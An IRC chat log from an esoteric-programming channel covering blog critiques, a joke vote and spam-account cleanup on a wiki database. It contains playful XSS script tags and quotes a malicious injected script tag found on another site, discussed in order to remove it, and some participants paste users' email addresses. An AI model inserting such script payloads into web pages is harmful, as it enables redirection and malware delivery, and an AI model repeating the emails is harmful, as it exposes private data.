21:52:59 <elliott> and since I just manually verified 3 and 4, we can delete all users with more than one duplicate
21:54:35 <elliott> ais523: hmm, are parens valid in usernames?
21:54:53 <ais523> anything that's valid as a page name is IIRC valid as a user name
21:55:03 <ais523> (someone want to register User:///?)
21:55:20 <elliott> I was thinking (deleted spam user)
21:55:54 <oerjan> i cannot understand elliott's recent allergy to puns
21:56:08 <oerjan> (WHAT DO YOU MEAN YOU'VE ALWAYS HATED THEM?)
21:57:48 <elliott> ais523: hmm, MW appears to be inconsistent about using "user" vs. "account"
21:58:23 <ais523> would you expect it to be consistent?
21:58:41 <elliott> well, no, but I'd hope it to be
21:59:03 <elliott> "The MediaWiki default user preferences are in the language file, i.e. languages/Language.php if you're using English."
21:59:08 <fizzie> elliott: "Spam: Coarse, Uncut". (Coarse, uncut is an anagram for user account.)
21:59:49 <fizzie> Okay, maybe it's a bit too "subtle".
22:00:30 <elliott> fizzie: Do you have any serious suggestions that don't include the OMGINACCURATE "deleted" part? :p
22:01:10 <oerjan> you _are_ merging them, after all.
22:01:44 <shachaf> elliott: Hey, you like really horrible nonsense articles about monads, right?
22:01:51 <shachaf> Did you see today's entry in the competition?
22:02:07 <elliott> And yes. In reverse order.
22:02:23 <ion> Heh. In reverse order.
22:02:47 <shachaf> http://the-27th-comrade.appspot.com/blog/ahJzfnRoZS0yN3RoLWNvbXJhZGVyDAsSBUVudHJ5GOFdDA
22:02:54 <ais523> there's a horrible nonsense articles about monads competition?
22:03:11 * ais523 notes that threatening to write a monad tutorial is about the worst threat you can make against elliott
22:03:25 <elliott> [[So, to prove this ridiculous statement, I told him (upper-right corner): “Monads are conditional function calls.”]]
22:03:34 <elliott> Mmm, that feeling of murderous rage in the morning.
22:03:46 <elliott> (It's the day, in reverse order.)
22:03:48 <shachaf> We need to write a monad tutorial generator.
22:03:57 <ais523> wow is that font size obnoxious
22:04:06 <elliott> "In Haskell, one example of a monad is the Maybe anythingElse type. It has two possible values: Nothing and Just anythingElse."
22:04:10 <elliott> Two possible values! As long as anythingElse has one.
22:04:30 <shachaf> elliott: Are you going to quote every wrong statement in there?
22:04:34 <elliott> "So, you see that what increased the cyclomatic complexity of pymon has been achieved in Haskell without any increase in cyclomatic complexity."
22:04:38 <elliott> shachaf: No, that would be too many.
22:05:18 <ais523> elliott: you don't have to write if statements that check for nullness explicitly because you can use (>>=) instead; this saves you a level of indentation
22:05:20 <elliott> "And so … you have been using monads in Python, all along sneering at the “smug Haskell douchebags who brag about the size of their gonads or something”. You are one of them."
22:05:20 <elliott> The problem with micropayments is that they give things to things you like.
22:05:29 <elliott> Everyone is required to put a microhurtment button on their site.
22:05:34 <ion> Micropayments are basically a conditional function call.
22:05:35 <ais523> (because you use Python and thus have to indent your if statements)
22:05:41 <elliott> Whenever anyone clicks it, it costs them a small amount of money, and delivers a small, painful electric shock to the author of the article.
22:06:00 <shachaf> I was with you until the "small".
22:06:19 <ion> Well, you’ll also have macropayments for big electric shocks.
22:06:37 <elliott> Even this guy's name and blog title are obnoxious.
22:06:48 <ais523> elliott: it'd make it possible for DOSes (or dDOSes) to kill people, probably
22:06:57 <ais523> I don't want that much power in the hands of Anonymous
22:07:08 <shachaf> elliott: Want more irritating articles about Haskell?
22:07:19 <shachaf> Apparently today/yesterday was unusually productive.
22:07:24 <elliott> ais523: No, to enter the microhurtment system you have to pay slightly more than the average monthly allowance of a US teenager.
22:07:51 <ais523> OK, "Even simple, direct, applicable understanding of monads is a Monad" is the point where I decided the article was complete bunk after all, rather than merely incorrectly worded
22:08:25 <elliott> ais523: You missed the part where monads aren't conditional function calls, and pymon doesn't actually implement (>>=) on Maybe.
22:08:48 <ais523> elliott: I saw that line, and assumed it was backwards, "some subset of conditional function calls are monads"
22:08:51 <shachaf> And also the part where everything else in the article is wrong.
22:09:16 <shachaf> elliott: Here's the other article: http://williamedwardscoder.tumblr.com/post/18319031919/programming-language-readability
22:09:25 <ais523> is the mistake in pymon that it's missing a "then Nothing"? or something worse than that?
22:09:55 -!- Vorpal has quit (Ping timeout: 276 seconds).
22:10:02 <elliott> ais523: Well, Python's None is not comparable to Maybe's Nothing.
22:10:10 <elliott> There's no value to represent "Just Nothing".
22:10:14 <monqy> "Even simple, direct, applicable understanding of monads is a Monad: if you grok, apply." what
22:10:25 <shachaf> Also Python's if is about "falsiness", not about "Noneness".
22:10:35 <ais523> elliott: I'd still say they're comparable, even though they're not quite equivalent
22:10:36 -!- derdon has joined.
22:10:43 <elliott> ais523: No.Consider that you can also write a monad as return, fmap, and join. You can't do that for None Python:
22:10:53 <elliott> def return(x): return x # incorrect on None
22:11:02 <ais523> they are plainly similar enough to compare, in fact you're doing that right now
22:11:04 <ais523> so how are they not comparable?
22:11:11 <shachaf> They're comparable in a few ways that have nothing to do with monads.
22:11:16 <elliott> Everything is "comparable".
22:11:20 <elliott> They are not comparable enough.
22:11:22 * shachaf compares elliott and oranges.
22:11:34 <elliott> In fact, they can be compared in such a way that proves that one isn't a mond.
22:11:47 <shachaf> elliott: def join(x): return x
22:11:52 <ais523> shachaf: elliott's been online more recently than oranges
22:12:05 <ais523> (in fact, oranges hasn't been around for almost two years)
22:12:25 <shachaf> 14:11 <preflex> oranges was last seen on ##c 1 year, 112 days, 10 hours, 24 minutes and 55 seconds ago, saying: declare argv as const array of pointers to char
22:12:39 <elliott> shachaf: Oh, but this guy is clearly an expert. "Node.js is Bad Ass Rock Star Tech", says he.
22:12:54 <ais523> shachaf: err, wow, how did you guess what channel oranges would have been in so you could ask a bot?
22:13:05 <elliott> preflex is in tons of cahnnels.
22:13:26 <elliott> ais523: It was when mauke was here.
22:13:32 <ais523> in fact, preflex and I don't share a channel
22:14:20 <shachaf> ais523: I guess you aren't in any of the cool channels.
22:14:34 <ais523> nah, I guess /preflex/ isn't
22:15:39 <ais523> btw, I was trying to implement typed underload in Anarchy
22:15:48 <ais523> I think it worked, but lacking an Anarchy compiler, I'm not sure
22:16:01 <ais523> then I tried to compile to OCaml by hand, which is what lead to the discussion we had a few days ago
22:16:30 <monqy> was it a good discussion
22:16:59 <ais523> I think so, although it was mostly just me
22:17:19 <HackEgo> 321) [After a long monologue] <oklopol> i think i have to escape this heated discussion before it becomes a flamewar
22:17:23 <ais523> oerjanswap had a really neat-looking type, even if it was the wrong type
22:18:10 <ais523> elliott: what's your opinion on the code formatting thing
22:18:58 <elliott> oh, i read the start of it and decided it was too stupid to keep reading further
22:19:01 <ais523> it shows some signs of being an unfair comparison
22:19:22 <elliott> "If a list comprehension or something isn’t obvious, you could just rewrite the Python in a less-pretentious way and recover this readability."
22:19:34 <elliott> it's almost as if this is a bullshit argument for readability and applies to basically every language, including Haskell
22:19:41 <shachaf> Every other sentence there is wrong.
22:19:43 <elliott> "'The Python has indent and this is important to speed-reading"
22:19:53 <elliott> "Second is the use of short words instead of symbols."
22:19:56 <elliott> just like 90% of the haskell!
22:20:00 <shachaf> I thought elliott would appreciate it, but I guess he's grown wiser.
22:20:08 <elliott> "Python goes further than most to use short concise words; COBOL used long words"
22:20:13 <ais523> the Haskell contains a lot of technically unnecessary stuff that could have been written in the Python but wasn't
22:20:15 <elliott> True, yes, Python is more readable than COBOL. Is this article Python vs. COBOL?
22:20:23 <ais523> (apart from type signatures, that I guess you could put in the docstrings)
22:20:25 <elliott> "Python is so readable because of significant whitespace, its conciseness and use of small words instead of symbols."
22:20:30 <shachaf> ais523: The two pieces of code do very different things.
22:20:32 <ais523> I think the Python there looks neater than the Haskell there
22:20:33 <elliott> You know, all things that Haskell has (except sometimes it uses symbols).
22:20:37 <ais523> but that's because it's an unfair comparison
22:20:47 <shachaf> Here's a slightly fairer comparison to the Python code: https://github.com/rostayob/haskell-readability/blob/master/haskell-readability.md
22:20:51 <elliott> Yes, it looks like the two code samples are completely incomparable.
22:20:57 <elliott> Do they even achieve the same task?
22:21:09 <elliott> "Haskell is doing neither of these." You listed three, moron.
22:21:17 <elliott> "Most of the training material on Haskell that I’ve read is aimed at students with no prior programming experience."
22:21:20 <ais523> elliott: sort-of, the codes look like they're both used for the same purpose
22:21:24 <elliott> Yes, just like LYAH and RWH! Which are... both targetted at people who know how to program.
22:21:28 <elliott> As is the Wikibook (IIRC).
22:21:30 <elliott> As is Write Your own Scheme.
22:21:36 <elliott> As is this person is a complete idiot.
22:21:44 <elliott> "You can make functional languages in the Python readability style; you don’t have to try so hard to look like algebra. You can make static fast languages in Python readability style too."
22:21:51 <elliott> Links to his own post on "his dream programming language"; -1, Troll.
22:21:59 <elliott> "There are as many new languages as ever; my dream programming language post got suggestions other than Haskell, including Rust, D and Tart. Those three are curly bracket languages again though. Big opportunity miss."
22:22:08 <elliott> "I lament that all languages aren’t trying to be readable the Python way; to my thinking, it ought to be goal number 0."
22:22:18 <elliott> -1, Starting Lists From 0 To Make You Look Like A True Hacker
22:22:30 <elliott> "The Haskell goes on to use Levenshtein distance - edit distance - (here) to offer spelling corrections. Interestingly, Dr Pete Norvig has written a neat essay on this with Python source-code. Lets focus on readability over algorithm. Compare and contrast them too."
22:22:35 <elliott> -1, This Is Becoming Completely Irreleavnt
22:22:37 <ais523> a reviewer for a paper I wrote actually complained that I started numbering at 0
22:22:48 <ais523> even though 0 was different from 1, etc., as it was the thing I was trying to prove about
22:23:00 <elliott> "As usual, tangents spring to mind: TDD evolving solutions is really paralleled in my old adventures in genetic programming and also Kolmogorov Complexity."
22:23:09 <elliott> -1, Crank/Idiot (Can't Tell Which)
22:23:30 <elliott> "(This post is inspired to explain why “looks like Python” is all through my dream programming language requirements. If you liked this, you may also like the rest of the blog ;) )"
22:23:42 <elliott> "[Every blog post contains a small word-misuse for the grammar glue-chewers; this post its bare instead of bear. Do tell me if you spot any others that are accidental :) ]"
22:23:43 * ais523 wonders if cyclomatic complexity is actually useful
22:23:48 <elliott> Final Score: -238947928349234789234
22:23:59 <ais523> now I'm trying to figure out if "its" was deliberate or not there
22:24:48 <shachaf> ais523: Given all the other mistakes in that post, does it really matter?
22:25:15 <ais523> shachaf: yes, in the "now I'll never know" sort of way
22:25:19 <monqy> what other mistakes
22:25:26 <elliott> fizzie: You complained that "Deleted spam account" is inaccurate.
22:25:34 <elliott> YOU HAVE YET TO PROPOSE A SERIOUS ALTERNATIVE :'(
22:25:59 <fizzie> elliott: I don't have alternatives, I just like to complain.
22:26:22 <elliott> fizzie: Sorry, I may have given the impression that giving an alternative was optional.
22:26:42 <shachaf> fizzie: You don't gotta give no alternative.
22:27:00 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
22:27:33 <shachaf> elliott: Did you know HURD in GNU/HURD stands for "HIRD of Unix-Replacing Daemons"?
22:27:40 <fizzie> ais523: SDCC has a "report cyclomatic complexity" option, the stated purpose of which is to select "bad" functions for simplification/had-assemblying. Not that that's any evidence for usefulness or anything.
22:28:04 <elliott> oerjan: I DIDN'T ASK FOR NON-SERIOUS SUGGESTIONS ;_;
22:28:15 * oerjan swats elliott -----###
22:28:31 <fizzie> I liked the hive mind. :/
22:28:34 <shachaf> > repeat '-' ++ repeat '#'
22:28:35 <lambdabot> "--------------------------------------------------------------------------...
22:30:26 <elliott> Okay, now y'all gotta vote: Deleted spam account, Deleted spam user, Deleted spam user account, Spam user, Spam account, Spam user account
22:30:37 <oerjan> > fix ((repeat '-'++).(>>repeat '-')) ++ repeat '#'
22:30:38 <lambdabot> "--------------------------------------------------------------------------...
22:31:28 <oerjan> (i _think_ that maybe omega^omega '-'s)
22:31:50 <monqy> that's a lot of '-'s
22:32:25 * shachaf has no idea what we're voting on.
22:32:58 <elliott> shachaf: Yes, that's why you're not allowed to vote.
22:32:59 <oerjan> elliott: TOO SERIOUS TO CARE
22:33:01 <elliott> Also, that's not a valid option.
22:33:05 <elliott> oerjan: VOTING IS NON-OPTIONAL
22:33:46 <elliott> ais523: fizzie: Vote or experience mild discontent.
22:34:04 <elliott> Actually I hereby remove "Deleted spam user account" from the vote.
22:34:17 <fizzie> oerjan: Here's csh's opinion on your swatter:
22:34:18 <fizzie> % If I had a ( for every - in oerjan-swatter, what would I have?
22:34:45 <ais523> but I don't have a strong preference
22:35:05 <fizzie> I'll vote whatever ais523 voted, maybe that way we'll be rid of this whole naming thing?
22:35:12 <elliott> No no no. That's not allowed.
22:35:21 <elliott> Voting with explicit justification of vote being to end the vote is totally banned now.
22:35:28 <shachaf> Hey, why is oerjan getting the credit for that swatter?
22:35:36 <ais523> actually, I changed my mind, I endorse eelpout
22:35:57 <fizzie> elliott: Oh, I thought you meant multiple votes of one opinion was not allowed. That would be an... interesting voting scheme.
22:35:59 <shachaf> elliott: I vote for cadmium.
22:36:12 <Friendship> I vote for "Annihilated atopical advertisement-oriented client configuration"
22:36:17 <zzo38> What exactly are we supposed to vote for?
22:36:18 <monqy> what's eelpout can I vote for it
22:36:28 <ais523> zzo38: what user to mark edits made by spambots as having been made by
22:36:38 <oerjan> shachaf: i increased the ordinal number of '-'s greatly
22:36:59 * ais523 hits oerjan with a swatter with nineteenth -s
22:37:05 <zzo38> An invalid IP address.
22:37:08 <elliott> REMINDER: THE VALID OPTIONS ARE: Deleted spam account, Deleted spam user, Spam user, Spam account, Spam user account
22:37:14 <elliott> monqy is now a valid option.
22:37:27 <shachaf> oerjan: Your version uses more memory than mine, so the process would be terminated sooner.
22:37:48 <fizzie> % Describe the dash-count of oerjan's swatter, please.
22:37:52 <zzo38> Deleted spam user account.
22:38:04 <ais523> elliott: what do you think of zzo38's suggestion of an invalid IP address? it's quite clever
22:38:07 <shachaf> Wait, can I change my vote to zzo38?
22:38:11 <elliott> ais523: it's as clever as it is confusing
22:38:23 <elliott> zzo38: But I removed that option :(
22:38:39 <monqy> i;m also voting for hello
22:38:51 <zzo38> elliott: Why? Is the name too long to fit in MediaWiki?
22:38:52 <monqy> and stop using cologne blue
22:39:06 <elliott> zzo38: I don't like it, because it's too many words. :(
22:39:12 <zzo38> Deleted spam account.
22:39:24 <elliott> --THE VOTE IS NOW CLOSED--
22:39:34 <elliott> Thank you for participating. Well, thank the people who participated for participating.
22:40:14 <shachaf> elliott: Did anyone participate?
22:40:26 <shachaf> Also, open the votes so my suggested can get in.
22:40:28 <ais523> shachaf: my client can't really render the crossed-out m properly
22:40:49 <ais523> also, is there actually a combined character for doing that, or is that some sort of cunning combination of multiple combining characters?
22:40:54 <ais523> (the m doesn't fit in the circle)
22:41:16 <oerjan> my client doesn't see any strange char at all
22:41:38 <monqy> <marquee>helloerjan</marquee>
22:41:51 <elliott> <script>alert("hi")</script>
22:41:56 <ais523> elliott: did you ever look at that log where we XSSed oerjan?
22:42:03 <elliott> <script>location.href="http://goat"</script>
22:42:14 <shachaf> Sounds like a toerjan horse
22:42:27 <ais523> "troerjan" would work better, I think
22:42:32 <ais523> also, is http://goat a valid URL?
22:42:40 <ais523> it's missing the TLD, I think
22:42:46 <elliott> ais523: It is if goat becomes a TLD.
22:42:46 <oerjan> if you ever get me with that, there will be some banning around here.
22:42:47 <ais523> (and some would be goatse, and some wouldn't)
22:42:52 <elliott> Which it will be, one day.
22:43:05 <ais523> elliott: that's a surprisingly bold statement to make
22:43:08 <elliott> oerjan: Is there ever not banning around here when we inconvenience you in some way?
22:43:10 <fizzie> ais523: Many resolvers will add the local domain or whatever's in the search path; and how many networks there are without a goat?
22:43:14 <elliott> ais523: You haven't seen my life plan.
22:43:20 <oerjan> elliott: very observant.
22:43:25 <elliott> The last step is to pay a lot of money to register goat as a TLD
22:43:44 <elliott> oerjan: By the way, I just made you a sysop.
22:43:47 <shachaf> "A room without books is like a network without a goat" -- Cicero
22:43:47 <ais523> elliott: please don't actually do that
22:44:00 <oerjan> elliott: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA OK
22:44:11 <shachaf> > 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
22:44:12 <lambdabot> 102609391136443956281976666927457327617395154350170434031115347406889900446...
22:44:24 <elliott> ais523: What, it's helpful!
22:44:38 <ais523> elliott: but it's not helpful /enough/
22:45:03 <elliott> OK, I'll crat him instead.
22:45:14 <ais523> oh, I was referring to the goat thing
22:45:21 <ais523> not the sysopping oerjan thing
22:45:35 <ais523> what did you /think/ I meant?
22:45:41 <ais523> I'm fine with sysopping oerjan
22:45:53 <elliott> ais523: But what if I want to register goat as a TLD?
22:46:00 <monqy> it would be helpful
22:46:05 <ais523> monqy: but not helpful /enough/
22:46:31 <elliott> things don't have to be helpful!
22:46:41 <elliott> If I want to register goat and put, e.g. a picture of a goat there, that's totally OK.
22:46:53 <ais523> that is not what TLDs are designed for!
22:47:01 <ais523> stop polluting the TLD namespace!
22:47:10 <monqy> goats aren't polution
22:47:24 <elliott> ais523: icann decided thats what they were for
22:47:30 <elliott> and if companise are allowed to
22:48:09 <elliott> hey ais523, "Deleted spam account" or "Deleted spam user"?
22:48:15 <elliott> & furthermore why (500 word minimum)
22:48:20 <shachaf> Apparently some squatter is squatting goat.ee
22:48:29 <shachaf> elliott: I thought voting was closed.
22:48:32 <ais523> elliott: but I can only fit 510 characters on a line!
22:48:36 <monqy> is there a goat.oo
22:48:40 <elliott> ais523: OK, 1 word minimum.
22:48:48 <ais523> shachaf: it is, we've gone from democracy onto dictatorship
22:49:01 <shachaf> And monqy is the dictator?
22:49:23 <ais523> and hmm, normally I'd say "user" because it's used for the purpose of saying who did the editing, not what they edited via, but "account" seems to fit spambots better because they aren't actually people
22:49:30 <monqy> a new spam user deleted summary every day
22:49:34 <monqy> this is my promise
22:49:43 <monqy> "keeping it fresh"
22:49:44 -!- pikhq has quit (Ping timeout: 248 seconds).
22:49:49 -!- pikhq_ has joined.
22:49:52 <monqy> - monqy, promising, for the people
22:50:09 <ais523> monqy: oh no, you've reminded me of why I stopped being a politician
22:50:23 <ais523> (short version: I was too honest running for re-election, and only got 2 votes out of several thousand)
22:50:27 <ais523> (I'm still wondering who the other one was)
22:50:39 <elliott> how did you even get elected in the first place
22:50:43 -!- Jafet has joined.
22:51:02 <ais523> it was under a different system, in which I managed to get in unopposed several years in a row
22:51:15 <ais523> so I didn't need to state my opinions at all
22:52:03 <elliott> monqy: "user" or "account"
22:52:12 <elliott> (I am merely consulting a few people in my role as dictator, not establishing a vote.)
22:52:49 <monqy> a vote for "thing"
22:53:10 <monqy> a nonvote for thing
22:53:21 <ais523> didn't Wikipedia eventually settle on the term "!vote"?
22:53:35 <ais523> for things that were like votes in every way, except officially not being votes?
22:54:36 <Jafet> The con-two-centsus.
22:54:56 <elliott> Jafet: "Deleted spam user" or "Deleted spam account" & why (5 word minimum) thanks.
22:55:06 <shachaf> elliott: Why is my computer so loud and hot? :-(
22:55:19 <shachaf> And the battery life is so short.
22:55:21 <Jafet> I vote "Mickey Mouse".
22:55:32 <elliott> Jafet: Nope! This isn't a vote.
22:55:41 <Jafet> shachaf: stop using it and these problems will go away
22:55:51 <elliott> shachaf: Because you didn't follow my advice.
22:55:52 <Jafet> Except perhaps the heaviness
22:55:53 <monqy> a vote for monqy and "Mickey Mouse" will be today's spam account deletion summary
22:55:58 <elliott> ais523: I found your "saying who did the editing" argument convincing.
22:57:18 <shachaf> elliott: By the way, I'm pretty happy with it so far.
22:57:23 <shachaf> elliott: When do I stop being happy?
22:57:49 <elliott> ais523: then I'll run the query on the DB
22:57:52 <elliott> (after taking a backup, ofc)
22:58:11 <ais523> how are you merging users directly on the DB?
23:05:22 <oerjan> !addinterp vote c printf("Your vote has been registered.\n");
23:05:22 <EgoBot> Interpreter vote installed.
23:05:34 <oerjan> !vote Cthulhu for president!
23:05:39 <EgoBot> Your vote has been registered.
23:05:53 <EgoBot> Your vote has been registered.
23:06:45 <fizzie> ^def vote ul (Your vote has been registered.)S
23:07:32 <fizzie> You could also say that they share the same record of registered votes, in a sense.
23:11:46 -!- kmc has joined.
23:18:32 <oerjan> !c printf("%d\n", strcmp("", "test"));
23:18:45 <oerjan> !c printf("%d\n", strcmp("a", "test"));
23:18:55 <elliott> ais523: like this: http://sprunge.us/eeWX
23:19:37 <ais523> elliott: change COMMIT to ROLLBACK first for testing
23:19:47 <elliott> err, that'll do absolutely nothing, surely?
23:19:52 <oerjan> aren't ^ and $ identical commands? http://esolangs.org/wiki/Sortle
23:20:10 <ais523> also, you miscapitalised "from" in "DELETE From watchlist"
23:20:21 <ais523> elliott: so you can inspect the situation before the rollback to see if it's what you expected
23:20:34 <elliott> ais523: err, transactions don't work like that?
23:20:35 -!- tzxn3 has quit (Quit: Leaving).
23:20:43 <ais523> they do if you do them slowly enough
23:20:59 <ais523> as in, you run it up to the rollback
23:21:01 <ais523> then look at the state
23:21:06 <ais523> then if it's not what you expected, rollback
23:21:28 <elliott> but i was going to take a backup first
23:21:33 <elliott> that's basically equivalent
23:22:15 <ais523> except it's the difference between the change going live and the change not going live while you test
23:22:48 <elliott> well, OK, but I'm going to set the wiki to read-only mode
23:22:56 <elliott> so the worst that could happen is a minute's outage
23:24:03 <elliott> ais523: anyway, do you really trust MySQL to isolate a transaction properly? :)
23:25:23 <elliott> ais523: oh, and I'll keep the wiki read-only to scan through the account list to find any others we missed
23:27:21 <elliott> OK, the wiki is officially read-only
23:27:22 <oerjan> perhaps take a backup too?
23:29:24 <elliott> Query OK, 3131 rows affected (37.67 sec)
23:30:37 <elliott> fizzie: I think these UPDATEs are running over every single element of the table.
23:32:05 <elliott> oerjan: btw I hereby enlist you for help in going over the resulting user list to find any remaining spammers.
23:34:06 <elliott> mysql> UPDATE logging SET log_user = @spam_user_id WHERE log_user IN (SELECT user_id FROM spammers)
23:34:06 <elliott> -> UPDATE ipblocks SET ipb_by = @spam_user_id WHERE ipb_by IN (SELECT user_id FROM spammers);
23:34:06 <elliott> ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE ipblocks SET ipb_by = @spam_user_id WHERE ipb_by IN (SELECT user_id FROM ' at line 2
23:34:32 -!- kmc has quit (Quit: Leaving).
23:39:34 <elliott> ais523: well, the rows-affected results look right
23:39:52 <elliott> there are now 1371 users left, which is correct
23:40:18 <elliott> (most of them are still spammers, ofc, but still)
23:40:24 <ais523> hmm, anyone here know how to go from a hexdump of a file to the actual file?
23:40:40 <ais523> elliott: it has a reverse-dump mode?
23:40:53 <fizzie> (I'm aSQLeep now, by the way.)
23:41:18 <ais523> we're trying to recover a crashed website from people's browser caches
23:41:45 <elliott> OR u.user_name REGEXP '^\\d+ buy '
23:41:45 <ais523> hmm, I guess I can do this with a Perl oneliner
23:41:52 <elliott> as in, there's a ton of them still left
23:42:06 <elliott> hmm, nope, that part just didn't work
23:42:18 <elliott> http://esolangs.org/wiki/Special:Contributions/Deleted_spam_user heh
23:42:53 <fizzie> ais523: xxd has a reverse-dump mode; but Perl with some pack 'C*' and map hex split is what I've used.
23:45:28 <elliott> ais523: http://esolangs.org/w/index.php?title=Special:ListUsers&limit=5000 btw
23:46:15 <ais523> yay, this actually worked
23:46:50 <elliott> ais523: yep, but there's still a bunch left; it'd be nice to get the low-hanging ones before unlocking the DB
23:47:34 <ais523> oh, I meant my reverse-hexdump thing
23:47:57 <elliott> | 2408 | Asd184900 | asd184900@asd.de | dsfgdsfgsfd | 0 |
23:48:24 <elliott> meh, /me just removes the email requirement
23:48:27 <elliott> nobody legit is going to have that username
23:48:42 <olsner> can't you just delete the whole user database and let people re-register?
23:48:56 <elliott> olsner: I refuse to do that
23:50:59 <elliott> ais523: haha, one of our users is called "Angela"; I wondered for a moment, but it turns out it's a spambot
23:51:09 <elliott> looks like deletion is the correct choice :P
23:52:09 <elliott> ais523: how busy are you right now?
23:52:28 <ais523> in the middle of this recover
23:52:56 <elliott> ais523: hey, blognomic.com has some malware on it
23:53:03 <elliott> some javascript redirects me to google.com
23:53:16 <ais523> someone's been complaining about that recently
23:53:21 <ais523> you might want to comment in the associated thread
23:53:42 <elliott> I'm not sure what input I could provide, exactly
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23:54:17 <elliott> <script src="http://ban85kmak.rr.nu/pmg.php?dr=1"></script>
23:54:23 <elliott> can't admins edit the template?
23:54:27 <elliott> presumably removing that would fix it
23:55:50 <elliott> oerjan: how trustworthy are you
23:55:56 * oerjan isn't sure precisely what to do
23:57:19 <oerjan> oerjan at a certain place called nvg in org
00:03:41 <elliott> mysql> select distinct right(user_email, length(user_email) - locate('@', user_email)) as domain, (select count(*) from user where user_email like concat('%@',domain)) as count from user order by count desc;
00:04:20 <elliott> brendonweston.info is spam, stcharlescountyhome.com is spam, thankyou2010.com is spam, mailnesia.com is very likely spam
00:06:03 <elliott> there goes another 37 users
00:06:43 -!- Jafet1 has joined.
00:09:19 <oerjan> there are 7z and 7za on the nvg server command line
00:09:49 -!- Jafet has quit (Ping timeout: 246 seconds).
00:22:09 <ais523> elliott: meanwhile, mafiascum.net's admins are trying to work out how all sixteen backup disks managed to get zeroed at the same time, during a site failure
00:22:46 <ais523> I got all the publicly visible data I could out of my cache
00:24:04 <ais523> well, it's pretty worrying something like that /can/ happen
00:24:07 <ais523> it clearly isn't a coincidence
00:24:56 <elliott> 114Tom Dufftd@pixar.comTom Duff28
00:25:01 <elliott> what an awesome user record
00:26:17 <ais523> elliott: you're pasting user emails in #esoteric?
00:26:31 <ais523> I somehow doubt that's spam
00:26:37 <elliott> I have a feeling that email is public, though
00:27:13 <elliott> doesn't seem to be current, anyway: http://www.tomduff.com/mailto.html
00:27:48 <elliott> wow, he's the author of the prehistory page
00:28:06 <elliott> OK, no more is $wgReadOnly set to "deleting spam accounts"
00:28:13 <elliott> I'll lock the DB again once I find another pattern
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00:29:54 <ais523> wow, the history of excela is weird
00:29:57 -!- derdon has joined.
00:30:03 <ais523> loads of spambots, and the occasional "deleted spam user"
00:30:46 <elliott> yep, I'm focussing on selecting spam users from [[Excela]]'s history right now
00:30:52 <elliott> since it seems a lot of them got lost
00:31:38 <elliott> ais523: actually, "any user with only one edit, and it's to Excela" is very unlikely to be a false positive, right?
00:31:55 <elliott> http://esolangs.org/wiki/Special:Contributions/Neleai even the language creator survives (just) ;)
00:31:58 <ais523> but it's also a page quite likely to attract drive-by vandal cleanup
00:33:48 <elliott> hmm, I am really terrible at joins
00:34:14 <elliott> (show/hide) 16:49, 28 March 2008 (diff | hist) MemPanic (top) [rollback]
00:34:14 <elliott> (show/hide) 22:29, 26 March 2008 (diff | hist) N MemPanic (New page: '''memPanic''' is written by Tommaso Moro in 2008. [http://www.mempanic.altervista.org memPanic website])
00:34:50 <elliott> I'm going to restore from the backup and investigate
00:36:45 <elliott> now to figure out why they were presumed a spammer
00:37:35 <elliott> +---------+------------+---------------------+----------------+
00:37:35 <elliott> | user_id | user_name | user_email | user_real_name |
00:37:36 <elliott> +---------+------------+---------------------+----------------+
00:37:36 <elliott> | 282 | Doppiazeta | doppiazeta@email.it | TommasoMoro |
00:37:36 <elliott> | 315 | Dopiazeta | doppiazeta@email.it | Tomamso Moro |
00:37:36 <elliott> | 317 | DoppiaZeta | doppiazeta@email.it | Tommaso Moro |
00:37:38 <elliott> +---------+------------+---------------------+----------------+
00:37:42 <elliott> ais523: the mind boggles...
00:38:13 <ais523> I thought you said you'd checked all the triplicates?
00:38:20 <ais523> also, stop posting emails publicly
00:38:49 <elliott> I think that one was buried in a sea of alphabetic-mush-with-real-looking-names
00:39:46 <elliott> Friendship: hey, go censor the logs or something
00:40:24 <oerjan> did the old wiki have a privacy policy?
00:41:45 <Friendship> !glogbot_censor ^:elliott![^ ]* PRIVMSG :|.*Dop.*email\.it.*Tomamso.*Moro
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00:43:58 <ais523> Friendship: somehow I don't believe that's a real glogbot command
00:44:01 <ais523> !glogbot_ignore does this still work?
00:44:23 <elliott> wow, Mark Chu-Caroll has an account on the wiki
00:44:43 <elliott> and he edited [[Mark C. Chu-Carroll]]. COI! COI!
00:45:14 <oerjan> maybe i should admit to editing [[Ørjan Johansen]]
00:45:58 <ais523> hey, I've never edited [[Alex Smith]]
00:46:32 <oerjan> also, that all the edits to [[Mark C. Chu-Carroll]] except his own are mine.
00:47:42 <monqy> one time I edited user:monqy
00:48:09 <elliott> ais523: let me know when you're free to look for patterns in the remaining users (before I restored the backup), btw
00:48:30 <ais523> probably not tonight, I'm free but too tired
00:53:08 <oerjan> monqy: User:* is supposed to work that way
00:53:53 <oerjan> argh the wiki's still locked
00:55:14 <monqy> oerjan: that was the joke :(
00:55:28 <oerjan> monqy: sorry, no jokes allowed
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01:01:27 <elliott> c<oerjan> argh the wiki's still locked
01:02:54 <elliott> oerjan: http://esolangs.org/w/index.php?title=Mark_C._Chu-Carroll&curid=2127&diff=30724&oldid=13111
01:02:58 <elliott> it already noted it was non-current...
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01:04:42 <oerjan> i think i edited an old revision :P
01:04:57 -!- zzo38 has quit (Remote host closed the connection).
01:07:11 <oerjan> elliott: i don't see myself being a sysop?
01:07:39 <elliott> oh, you actually want to be?
01:08:23 <elliott> well yes. but i wanted to at the start of this anyway
01:08:40 -!- cheater has quit (Ping timeout: 276 seconds).
01:10:54 * oerjan looked up a norwegian geek on wikipedia and was not disappointed by the picture chosen http://en.wikipedia.org/wiki/Hans_Olav_Lahlum
01:14:00 <elliott> oerjan: i went to op you but i accidentally opped olsner instead. sorry.
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01:27:15 <elliott> You know when you turn into a floor?
01:28:08 <oerjan> well it's not a common experience for me.
01:28:14 <Jafet> Don't turn into a space toilet; they suck ass
01:31:30 -!- ais523 has quit (Remote host closed the connection).
01:36:23 <elliott> Maybe you just never notice.
01:37:56 <Jafet> elliott is firmly grounded in reality
01:38:58 -!- derdon has quit (Remote host closed the connection).
